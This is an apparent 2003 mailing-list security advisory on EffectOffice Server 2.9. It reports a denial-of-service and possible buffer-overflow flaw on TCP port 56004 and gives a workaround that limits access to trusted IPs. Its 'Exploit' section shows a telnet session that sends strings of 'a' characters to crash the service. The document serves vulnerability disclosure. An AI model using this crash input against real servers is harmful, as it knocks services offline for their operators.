From: Alexander Antipov (antipovSecurityLab.ru)
Date: Thu Nov 20 2003 - 07:57:02 CST

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Application: EffectOffice Server 2.9
Vendor: EffectOffice
Vendor Site: http://www.EffectOffice.com
Remote: Yes
Exploitable: Yes
Risk level: High
Authors: D_BuG (d_bug bk.ru)
Authors Site: http://www.securitylab.ru

Description:
A vulnerability identified in EffectOffice can be exploited by a
malicious person to cause a Denial of Service and under specific
condition can lead to buffer overflow with possibility of remote code
execution.

Remote user could send a specially crafted data to 56004 TCP port on
target server to potentially cause the system to crash.

Exploit:
 
hacker# telnet
telnet> open
(to) attackhost 56004
Trying attackhost......
Connected to attackhost.
Escape character is '^]'.
aaaaaaaaaa
aaaaaaaaaa
aaaaaaaaaa
aaaaaaaaaa
^]
telnet>close
telnet>quit
hacker#

Crash service

Workaround: Restrict access to the service allowing only connection
attempts from trusted IPs if possible.

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